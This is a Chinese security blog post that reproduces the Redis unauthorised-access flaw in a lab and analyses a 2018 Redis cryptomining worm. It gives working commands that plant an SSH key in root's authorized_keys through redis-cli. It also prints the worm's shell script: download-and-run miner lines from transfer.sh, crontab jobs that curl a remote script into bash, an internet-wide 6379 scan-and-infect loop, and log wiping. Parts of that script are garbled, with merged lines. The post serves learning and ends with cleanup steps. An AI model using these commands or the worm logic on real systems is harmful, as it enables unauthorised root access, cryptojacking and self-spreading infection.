Redis未授权漏洞复现,利用其实现的挖矿蠕虫脚本分析

声明:本文所述仅限学习交流,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,MiaoA知识及文章作者不为此承担任何责任。
本文内容参考了一些博客,文章,如有侵权,联系删除

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,在没有利用防火墙进行屏蔽的情况下,将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

Redis漏洞复现

环境配置

Linux安装Redis

kali和乌班图都要安装,不过只用乌班图(root目录下安装)启动服务端程序

#安装gcc
sudo apt install gcc
##下载redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
#解压安装包
tar xzf redis-2.8.17.tar.gz
#进入redis文件夹
cd redis-2.8.17 
#编译和安装Redis
make
sudo make install

#跳转到etc目录下,创建redis文件夹
cd ..
cd etc
sudo mkdir /etc/redis/
#在Redis目录中创建一个名为redis.conf的配置文件
cd ..
cd redis-2.8.17 
sudo cp redis.conf /etc/redis/
#乌班图启动Redis服务
redis-server /etc/redis/redis.conf

在这里插入图片描述

乌班图服务器配置

1.安装并启动ssh服务
#安装OpenSSH Server:
sudo apt-get update
sudo apt-get install openssh-server
#确认SSH服务正在运行:
sudo systemctl status ssh
#如果SSH服务未启动,则使用以下命令启动SSH服务:
sudo systemctl start ssh
#为了确保SSH服务在系统重新启动后自动启动,请使用以下命令将其添加到开机启动列表中:
sudo systemctl enable ssh
#安装完成后,您现在可以通过ssh访问该系统。请注意,开启SSH服务可能会带来一些安全风险,因此请务必采取适当的安全措施并限制远程访问。

实验环境

攻击机:kali
靶机:乌班图(ip:192.168.230.144)

复现

kali注意:一定都是root目录下处理(非root权限下无法使用)

1.kali直接通过ssh连接乌班图,发现需要密钥
ssh root@192.168.230.144 

在这里插入图片描述

2.kali:生成rsa密钥
ssh-keygen -t rsa
#设置rsa私钥密码  后面用来登录被攻击机(乌班图)用

在这里插入图片描述

3.kali:将公钥写入foo.txt文件
#id_rsa路径在上一步骤有,替换为自己的
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
#查看密钥
vim foo.txt

在这里插入图片描述

4.kali:连接Redis写入文件
cat foo.txt | redis-cli -h 192.168.230.144 -x set crackit
redis-cli -h 192.168.230.144
#填写的是目标主机.ssh的位置(一般为root账户,所以一般路径为/home/root/.ssh/  如果有更改,需要改变为你自己的)
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

在这里插入图片描述

在乌班图上查看authorized_keys发现确实被更改

cd .ssh
cat authorized_keys

在这里插入图片描述

4.远程利用自己的私钥登录该服务器
ssh –i  id_rsa root@192.168.1.11

在这里插入图片描述
拿到shell后,就可以进行很多攻击了

漏洞利用

下面是复现一个利用Redis漏洞实现的挖矿蠕虫,其出现在2018年,下面是其样本样本分析
在这里插入图片描述

1.攻击流程

在这里插入图片描述

2.脚本分析

主要通过Redis的漏洞写入crontab任务下载执行.cmd脚本实现入侵利用和感染实现。下面是一个base脚本,通过分析它,可以了解到整个攻击流程的细节

#用作重复执行的判断,将.mxff0文件作为标记文件,如果存在该文件则代表机器上已执行脚本,直接退出,否则写.mxff0文件并进行下一步动作
sleep 1
find . -maxdepth 1 -name ".mxffo" -type f -mmin +60 -delete
[ -f .mxff0 ] && exit 0
echo 0 > .mxff0
#设置预置动作,在脚本退出后删除相关文件和脚本自身
trap "rm -rf .m* .cmd tmp.* .r .dat $o" EXIT
#修改系统的配置,开头两行为关闭SELINUX;然后清空/var/spool/cron,进而判断系统DNS服务器是否存在8.8.8.8,没有则添加;接着清空系统tmp目录和删除相关文件;同时清空系统缓存,而最后修改/etc/security/limits.conf来更新系统的资源限制;
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
iptables -IINPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
ps xf] grep -v grep]grep "redis-server nicehash\linuxs linuxl\crawer.weibo\243/44444\cryptonight\stratum\gpg-daemon jobs.flu.ccnmap\cranberry\start.sh watch.sh\krun.sh\killTop.sh\cpuminer\/60009\ssh_deny.sh\clean.sh  ./over mrx1VredisscanVebscanVredis-cli\barad_agent\ srO clay udevs\ sshd /tmp/init" while read pid ; do kill -9"$pid"; done
#再进一步的增加iptables限制6379端口只允许本地访问,同时kill相关包含挖矿、redis客户端、爬虫等进程,这里的目的也比较简单,避免被其他黑客再次入侵,同时清除可能其他黑客入侵启动的进程
rm -rf/tmp/*2>/dev/null
rm -rf /var/tmp/*2>/dev/null
echo 0 > /var/spool/mail/root
echo 0 > /var/log/wtmp
echo 0 > /var/log/secure
echo 0 > /root/.bash_history
#清除相关登录日志、命令操作历史;
YUM_PACKAGE_NAME="iptables gcc redis coreutils bash curl wget"DEB PACKAGE NAME="coreutils bash build-essential make gcc redisserver redis-tools redis iptables curl"
if cat /etc/*release grep -i CentOS; then
yum clean all
yum install -y -q epel-release
yum install -y -g $YUM_PACKAGE NAME
elif cat /etc/*release | grep -qi Red; then
yum clean all
yum install -y -g epel-release
yum install -y -g $YUM PACKAGE NAMEelif cat /etc/*release grep -qi Fedora; thenyum clean all
yum install -y -q epel-release
yum install -y -g $YUM_PACKAGE NAMEelif cat /etc/*release | grep -qi Ubuntu; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*
apt-get update -q --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACK
AGE;: done
elif cat /etc/*release | grep -qi Debian; thenexport DEBIAN FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACK
AGE; done
elif cat /etc/*release ] grep -qi Mint; thenexport DEBIAN FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*
apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACK
AGE; done
elif cat /etc/*releasegrep -qi Knoppix; then
export DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -g $PACKAGE; done
else
exit 1
fi
sleep 1if !([ -x /usr/local/bin/pnscan ] ll[ -x /usr/bin/pnscan ]); thencurl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 >.x112] wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12sleep 1[-f.x112] && tar xf.x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi
#下载并编译安装pnscan,从内容中我们可以看到对于不同操作系统的判断然后安装依赖的相关模块,然后才是从github下载pnscan的源码进行编译安装;至于为什么采用编译安装的形式,猜测是出于兼容不同系统以及每次编译生成的pnscan的MD5都不一样,避免形成固定特征;
tname=$(mktemp)OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZgecurl -s $OMURL > $tname ll wget -q -O $tname $OMURLNMURL=$( curl -s --upload-file $tname https://transfer.sh )mv $tname .gpg && chmod +x gpg && ./gpg && rm -rf gpg
#下载挖矿程序并重命名为.gpg,增加执行权限,执行后删除,同时重新上传到https://transfer.sh/ 获取新的链接;
[-z"$NMURL"]&& NMURL=$OMURLncmd=$(basename S(mktemp))sed'sJ"“$OMURL“$NMURLg' <.cmd > $ncmdNSURL=$( curl -s --upload-file $ncmd https://transfer.sh )echo "flushall'> datecho 'config set dir /var/spool/cron' >> .datecho 'config set dbfilename root' >> .datecho 'set Backup1"tn*/2 *** * curl -s $NSURL)' > .cmd && bashcmd\n\t">> .datecho 'set Backup2 "t\n*/5 ** * * wget -0 .cmd $NSURL)' && bash .cmd\n\t>> .datecho 'set Backup3"t\n*/10 *** * lynx -source '$(NSURLy' > .cmd && bash .cmd\n\t">> .datecho 'save'>> datecho 'config set dir /var/spool/cron/crontabs' >> .datecho 'save'>> dat
echo 'exit'>> dat
#生成新的.dat文件,包含将原来.cmd脚本里的里挖矿程序的下载地址替换为上一步上传到https://transfer.sh/得到的新地址,还有Redis利用的相关语句;
pnx=pnscan[-x/usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan[-x /usr/bin/pnscan ]&& pnx=/usr/bin/pnscanfor x in $( seq 1 224|sort -R ); dofor y in $( seq 0 255|sort -R ); do$pnx -t512 -R6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x$y.0.0/16 6379 > .r$x.$y.oawk '/Linux/ {print $1, $3y .r.$x.$y.o > .r.$x.$y.while read -r h p; docat .dat| redis-cli -h $h -p $p --raw &done < .r.$x.$y.l
donedone
#调用pnscan去扫描子网段1.0.0.0/16到224.255.0.0/16中开放6379端口并且操作系统为Linux的目标,然后利用redis-cli执行.dat中的命令,进行下个目标的感染;这里pnscan的-W参数值'2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a'转换后内容'*1\r\n$4\r\nINFO\r\n',是向目标Redis服务发送请求获取Redis服务器的各种信息和统计数值,再通过-R参数值'6f 73 3a 4c 69 6e 75 78'(转换后内容为os:Linux)判断是否Linux系统
echo 0 > /var/spool/mail/root 2>/dev/null
echo 0 > /var/log/wtmp 2>/dev/null
echo 0 > /var/log/secure 2>/dev/null
echo 0 > /root/.bash_history 2>/dev/null
exit 0
#最后就是收尾工作,清除相关日志和命令执行历史,同时在脚本退出的时候会触发脚本一开始用trap预置的动作,会做删除操作,删除相关文件和脚本自身(rm -rf m* .cmd tmp.* .r .dat $0)。

通过对脚本的解读,我们基本已经清楚整个蠕虫的行为和入侵流程,也就是我们开始所描述的流程。

3.脚本工程化思想

通过对脚本分析,不禁惊叹其思路的严谨和设计的巧妙
利用.mxff0文件做重复执行检验,避免脚本的重复执行

1.为了增加成功性,一些环境的预处理:

关闭SELINUX
增加8.8.8.8的DNS
清空tmp目录
清空系统缓存
修改系统资源限制

2.痕迹清除

利用trap预置动作好在脚本执行完成后删除相关文件和脚本自身
重复清除相关登录等日志和命令执行历史

3.同行预防

利用iptables避免Redis服务开放在公网上从而导致再次被入侵
清除同行可能遗留的入侵行为,kill相关进程

4.系统兼容性

判断操作系统,针对性的执行相关命令,安装依赖包,最大限度的提高pnscan编译安装的成功率
关闭SELINUX,通过setenforce和修改/etc/sysconfig/selinux两种手段实现
写入Crontab里的下载并执行脚本的任务,通过curl、wget、lynx三种方式实现
Pnscan扫描增加操作系统判断,减少没有必要的感染尝试

5.特征去除,存活延续

Pnscan采用安装编译的方式,既提高在不同系统下的兼容性,也避免形成固定的MD5特征
利用https://transfer.sh中转,每一次感染均生成新的连接,避免固定链接形成固定特征
下载到系统的相关文件均采用随机生成的文件名

病毒清理和系统恢复

参考脚本的相关行为进行对应的行为恢复和删除即可:

1.关闭SELINUX,根据系统原环境和业务需要重新开启SELINUX

2.清空了/var/spool/cron,根据原先备份清空恢复

3.修改/etc/resolv.conf增加DNS服务8.8.8.8,如无影响可不处理,或者删除

4.修改了系统资源限制(/etc/security/limits.conf),可根据备份情况恢复

5.增加了对6379端口的Iptables规则,如果不影响业务,建议保留
6.Kill了相关进程,检查是否包含业务所需进程,根据情况恢复

7.安装了相关包,具体列表见上文,可根据情况删除或者如无影响可保留
8. 编译安装了pnscan,可删除/usr/local/bin/pnscan
9.清除了相关日志和tmp目录,对系统无影响,可忽略
10.启动了挖矿进程和pnscan扫描感染,进程:.gpg、pnscan,直接kill

还包含了一些中间文件,虽然脚本包含相关删除操作,但建议还是全局查找确认:

.mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx

上面就是关于利用Redis漏洞分析以及利用其的挖矿蠕虫脚本的分析。

更多关于计算机和网络安全的知识,请关注公众号 MiaoA知识

参考文章

https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483874&idx=1&sn=06baad6c0a11a3ee2c3e5bba13fd69c2&scene=21#wechat_redirect

https://www.seebug.org/vuldb/ssvid-89715

https://blog.csdn.net/dreamthe/article/details/123427989

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值